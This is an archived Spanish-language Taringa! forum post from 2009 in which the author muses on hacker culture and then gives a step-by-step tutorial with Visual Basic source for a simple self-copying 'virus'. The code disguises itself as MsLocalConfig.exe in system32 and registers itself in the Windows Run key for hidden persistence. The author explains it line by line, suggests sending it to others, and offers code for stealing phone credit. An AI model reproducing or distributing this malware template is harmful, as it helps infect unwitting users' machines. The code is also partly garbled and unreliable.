Experiencias capitulo 14: Herencia. Fernando me mira de pronto y me dice: -Me quedo algo desilusionado con lo del hacking marketinero -oh si, pero mientras quede gente que aprenda y sepa esta bien, y vos sabes, ahora tenes en que pensar –dije antes de subir a un taxi rumbo incierto. Era cierto, el hacking tuvo un costado marketinero desde siempre. El hacker en una época era mítico, era raro pero parecía algo así como la hechicería moderna, prohibida, no necesitabas ser bueno y estar con Dios para hacer milagros, ni siquiera era necesario tener la aprobación de todo el mundo, los reyes tenia un propio hechicero que ignorando cualquier ley divina dotaba al humano afortunado en la mayoría de casos de tesoros como conquistas e imperios y soberanía. En cierta forma, es una manera de ver al hacking. Yo divida el hacking desde tres puntos, el iniciatico, el hoobial y finalmente el practico/empresarial El iniciatico es aquel donde la mayoría queda, usando una analogía que Fernando utilizo esa noche diré que el hacking es como “un gran muro en el que o comenzas a apilar libros de saber para poder cruzarlo, o te estrellas contra el sin remedio” a lo que acote luego “o cruzás antes de que el muro exista...” El saber hacking de forma iniciatica es el lugar donde imperan dos tipos de personas, los arrogantes y los concientes. El arrogante inciatico es aquel que trabaja en pos de conseguir impresionar vana y vagamente a quien le pregunte del tema, es el imperio de los lammers o lols, de los gcc o clickeadores, sin embargo no necesariamente se debe uno estancar en este plano, existen varios ejemplos de lammers severísimos que hicieron grandes cosas. En cuanto a los cocientes determina su existencia el saber que hay tantas cosas que no saben que no se vanaglorian de saber o hacer, simplemente se callan o preguntan realmente a quien sabe, es de la boca de estos que jamás oís un “si yo se todo sobre...” Tampoco implica que estos sean futuros hackers reales, simplemente existen algunos que terminan sus carreras aburridos simplemente de la finiquitud del saber. El hacking hobbial es el mas frondoso en todas las artes, es aquel que impera en los corazones de la mayoría de hackers bestiales que ruedan por el mundo, es gente que simplemente respira casi en hexa, que miden su saber por lo que hacen, y hacen todo porque les gusta, parece no perseguir ningún fin, aunque si o si debe a ver un objetivo, pero este parece desvanecerse en el aprender mas y mas y mas. Finalmente el hacker que es practico/empresarial es el que retroalimenta a la mayoría de los hackers iniciaticos. El hacker practico / empresarial es aquel que o sabe muchísimo al punto que termina siendo contratado como mano derecha del medico brujo del pueblo, o bien esta tan acomodado en su empresa que directamente no actúa por no querer mas que por no poder. Es así de fácil. Aun mas fácil es entender que todos esos hackers en el fondo el algún momento comen, en algún momento cagan, y en algún momento duermen, bien o mal, perturbados o no, todos están expuestos. Toda esta amalgama de hackers enfermos que somos los que conformamos el mundo de esta forma estamos recientemente expuestos a una rama bastante interesante de las ciencias, la mitificación. Somos un mito! Es sencillo, cada vez que cuento estas historias pienso que si alguien lee esto superficialmente se come que es una película de hollywood, como hacerles ver que es cierto todo no? El carácter hacker es bien definido por el entorno que lo rodea, pero aun así, inclusive si les mostrara los logros o grandezas,.Si les pusiera delante el como y el porque, aun así, no llegarían a creer que todo esto es cierto. Y no importa, yo le encontré un gusto rico a esto, pero también es un gusto que a mas de uno le puede joder, yo comprendí que el hacking debe enseñarse para que sirva de algo. Cada vez que alguien me pide (y Dios, pasa a diario!) que le saque una contraseña de hotmail (o live como se llama ahora...) o que tire un facebook me lleno de simpatía y quiero enseñar lo que sé no para que no me joda, sino como la preservación de un arte efímero. Pero hasta ahora, con todo lo que estudie de historia, ningún arte efímero se a de convertir en un hechizo mortal para mas de uno mismo. En cambio el hacking parece ser algo sobrenatural, es ridículo, si lo piensan bien. Saben que tiene de atractivo el hacking para mi? Que no requiere nada mas que querer hacerlo realmente. Un amigo me dijo: Si buscas masones encontras masones, acá estamos en la misma, si buscas hackers, encontras hackers. Pero mientras que la masonería tiene un trasfondo iniciatico de compartir el saber, mayormente los hackers suelen ser celosos. A veces pienso porque y a la razón mas cercana que llegue es que a todo hacker le jode tanto tanto hacer algo grande que dejarlo a la mano de cualquiera es desvirtuarlo. Conozco hackers que prefieren dejarlo de lado todo y directamente enseñar con el ejemplo, otros pretender impartir saber a través de dejar herramientas y códigos para que se los bajen, compilen y ejecuten sin tener idea de una sola línea. Pero estos constituyen un vergonzoso 16% del total de hackers que e conocido, incluyéndome. Otras de las razones por la cual el hacking es importante es que para mi, balancea la vida desde un punto insoñado e históricamente inédito. Le da poder a cualquiera, sin importar nada mas que su técnica, gracia y arte. Es increíble pero cierto que un chico desde un garaje en Massachussets pueda tirar abajo a una compañía y hacer que esta pierda millones de dólares con tan solo un par de minutos/horas/dias/meses de trabajo desenfrenado. Si se lo ponen a pensar bien, nunca históricamente paso esto, jamás una persona sin poder político / monetario pudo reventar a una multinacional desde el sofá mientras se reía de los pitufos y se veía una porno mediante. Salvo los que concibieron poner una bomba y lo llevaron a cabo, pero aun así, necesitaron mas tiempo / dinero para hacerlo, llámese por movilidad, materiales o cualquier otro. Este aburridísimo documento de word 2003 pretende demostrar que cada uno de nosotros, llámese hackers, lammers o enfermitos tenemos un poder muy grande con tan solo pensar hasta cuando te duchas en... “y si...” El “y si....” es el arma fundamental del gobierno binario. Ahora cada vez mas parece esto stars war en la cual, existe un maestro para cada alumno solitario que enseña mas allá de todo saber. (me aburro escribiendo esto, pero aun así sigo, es un asco, parece ser como cuando en la secundaria te comías toda una charla de introducción a algo aburrido, pero esto es parte también de mis experiencias, así que cómanla o escúpanla, parafraseando a mi querido Anthony) Ahora bien, a que se enfrenta el iniciado? A simplemente un mar de saber desparejo. Todo es excitante, como cuando comenzas una carrera que te gusta, es igual. Demasiada información, demasiado desbalance de saberes, y los que saben no te la hacen sencillas. Vamos con un ejemplo, les digo que buena forma de iniciarse como Vmakers armen una aplicación de vb que se duplique a si misma, que se instale en el registro de windows xp sin advertir nada, que se inicie con el mismo y que a su vez, haga algo. Bien, que gana entonces el iniciado? Nada, puesto que no sabe por donde comenzar. Ahora bien acá les dejo el código de uno muy estúpido y programado a la marcha, lo puede programar cualquiera en serio, es muy idiota. Como hacer el virus? 1/6 Se bajan el visual basic. 2/6 Abren un nuevo proyecto. 3/6 Se van al menú "proyecto" (o "Project" y eligen "referencias" (o "references" 4/6 De la lista elijen "Windows Scripting Host Object Model" 5/6 Copian y pegan el siguiente código: '**//INICIO código del súper virus 3 patadas el muy famoso muyboludo.exe!! ** 'ok, enumeremos que tiene que tener en esencia un virus: '1) Replicarse '2) Ejecutar acciones que el usuario desconoce. '3) Hacer algo estúpido / comercial... o tener una firma por algún lado... ' mmmm este cumple las 3!(aunque alguna este falseada...) así que oficialmente puede ser considerado un... virus! 'pd: por Dios, un vmaker que se valore como tal no debe programar en visual, 'intento hacer algo facil_de entender así que no me odien!!! no soy vmaker. 'pd2: Aproposito hice que el virus falle en alguna de las reglas, intenten por lógica deducir a cual... Const RAMA_WINDOWS_RUN As String = "HKEY_LOCAL_MACHINESOFTWARE" & "MicrosoftWindowsCurrentVersionRun" Dim o_Registro As WshShell Dim a As Integer Private Sub Form_Load() Set o_Registro = New WshShell FileCopy "MsLocalConfig.exe", "c:windowssystem32MsLocalConfig.exe" Call o_Registro.RegWrite(RAMA_WINDOWS_RUN & App.EXEName, "c:windowssystem32MsLocalConfig.exe" & "" & App.EXEName & ".exe" a = MsgBox("Hace algo estúpido", vbCritical, "acá pongo la firma: Moco Coco 2009" FileCopy "MsLocalConfig.exe", "c:windowssystem32MsLocalConfig.exe" Me.Hide End Sub Private Sub Form_Unload(Cancel As Integer) If Not o_Registro Is Nothing Then Set o_Registro = Nothing End If End Sub '**//FIN código del súper virus 3 patadas el muy famoso muyboludo.exe!! ** 6/6 guardan el virus bajo el nombre MsLocalConfig.exe. 2 aclaraciones: Este virus esta programado a lo boludo, y explicado como tal, por una cuestion de honor, pido se me considere, ah mi cerebro a esta hora no da para mas. No se recomienda probar el virus en la maquina propia sin tener algún programa onda deep freeze Y que ganan con esto? Copiar y pegar sin aprender a hacer nada. Puedo entonces explicar algo del código: 1) las primeras líneas de código arrancan con una ‘ esto significa que es un comentario, obviamente, pueden suprimirlo, la idea es que vieran el tipo de aclaraciones que alguien ve cuando modifica un virus cualquiera 2) Comienza luego una declaración de una constante, es decir un valor que no variara a lo largo del código, este valor, que se llama RAMA_WINDOWS_RUN y que contiene una cadena de texto (a saber, una sucesión de caracteres) equivale a la ruta del registro de windows donde se guardan todos los elementos del inicio. Const RAMA_WINDOWS_RUN As String = "HKEY_LOCAL_MACHINESOFTWARE" & "MicrosoftWindowsCurrentVersionRun" 3) Se declaran dos variables, la primera es para almacenar un tipo de información que sirve para poder jugar con los elementos de visual como el "Windows Scripting Host Object Model" La segunda es una variable que puse por poner pero luego almacenara lo que yo elija del msgbox (ósea, contendrá que botón pulse de la ventanita de alerta) Dim o_Registro As WshShell Dim a As Integer 4) esto significa: cuando se carga el formulario…. Private Sub Form_Load() 4) Set o_Registro = New WshShell significa que o_Registro almacenara la informacion de WshShell 5) Basicamente, esta línea de código es la encargada de tomar la aplicación actual y ponerla al inicio de windows… Call o_Registro.RegWrite(RAMA_WINDOWS_RUN & App.EXEName, App.Path & "" & App.EXEName & ".exe" 6) Esta es la parte mas importante, acá deberían hacer algo estúpido, en mi caso va a ser que se abra una ventanita pedorra con el mensaje “hace algo estúpido” a = MsgBox("Hace algo estúpido", vbCritical, "acá pongo la firma: Moco Coco 2009" 7) acá pido se copie el archivo a la ruta antes puesta, el nombre se lo puse yo, pero lo pueden cambiar si quieren o hacerla mas fácil, que el soft consiga el nombre de la aplicación que se ejecuta, ya dije, este esta a lo boludo… FileCopy "MsLocalConfig.exe", "c:windowssystem32MsLocalConfig.exe" 8) Esconde la aplicación. Me.Hide 9) ”End Sub” sirve para decir que termina un procedimiento, acá, la carga del formulario. 10) De acá para abajo, hasta al final, es bastante obviable porque concierne la eliminación de la referencia creada si el form no se cargo o si el evento no se produjo, cosa que por lógica ocurre, así que es inútil, yo la deje para molestar un rato, aparte, vi el ejemplo en una pagina web y me gusto. Private Sub Form_Unload(Cancel As Integer) If Not o_Registro Is Nothing Then Set o_Registro = Nothing End If End Sub Pero que ganan con esto otro? tampoco nada, solamente si les interesa mas adelante pensar como hacer un virus pueden lograr sacarle algo de jugo. El temas es “y si...” les digo que necesitan para aprender? Ejemplo, razonen un segundo, supongamos que nada saben de estas artes, pero lean detenidamente la consigna: “aplicación de vb que se duplique a si misma, que se instale en el registro de windows xp sin advertir nada, que se inicie con el mismo y que a su vez, haga algo.” Enumeremos los saberes necesarios: Saber copiar archivos. Saber iniciar al inicio de windows. Saber hacer que pase algo. Es tanto poner el google los siguientes criterios? “Copiar archivo”+”visual basic” “Aplicación al inicio”+”windows xp”+”visual basic” “cargar foto porno”+”visual basic” Dios! Que no, que no se harán ingenieros en un día, que no, que no aprenderán que es Dim o_Registro As WshShell que no, que vayan pensando en otra cosa ya que estamos, total.... ahora bien, ahí tienen un programa, requiere que se lo envíen a alguien, queda en cada uno que quiera ponerle que ocurra, pueden apagar el equipo, pueden hacer que no haga nada, pueden hacer... pero hagan, busquen, un poco nada mas. Obviamente, nadie se recibe de vmaker salvo que te diga alguien que sabe como mas que vos que lo sos, pero al fin que un poco de practica no mata a nadie no? Salgamos un poco del marketing, olvídense por un momento de sacar crédito gratis en movistar, sean muy poco realistas, pero ya que estamos, programen un poco, es un buen comienzo. Moco Coco 2009 Pd: Si les gusta la idea, les tiro líneas de código para hackear movistar. Pd2: Si les gusta la idea, les digo como escribí en visual basic medio dormido. Pd3: Les dejo un ejercicio; Busquen en google varias paginas que les diga como hacer un virus en visual basic, y posteen el código en algún lugar, no acá, en cualquier lado donde puedan, vamos, no les llevara mas de cinco o diez minutos. Pd4: No me gusta mucho visual basic, pero a mas de uno le resultara mas fácil que mi amado Ruby.
Moco Coco; Experiencias capitulo 14: Herencia.
Datos archivados del Taringa! original
40puntos
2,985visitas
0comentarios
Actividad nueva en Posteamelo
0puntos
0visitas
0comentarios
Dar puntos:
Posts Relacionados
Dejá tu comentario
No hay comentarios nuevos todavía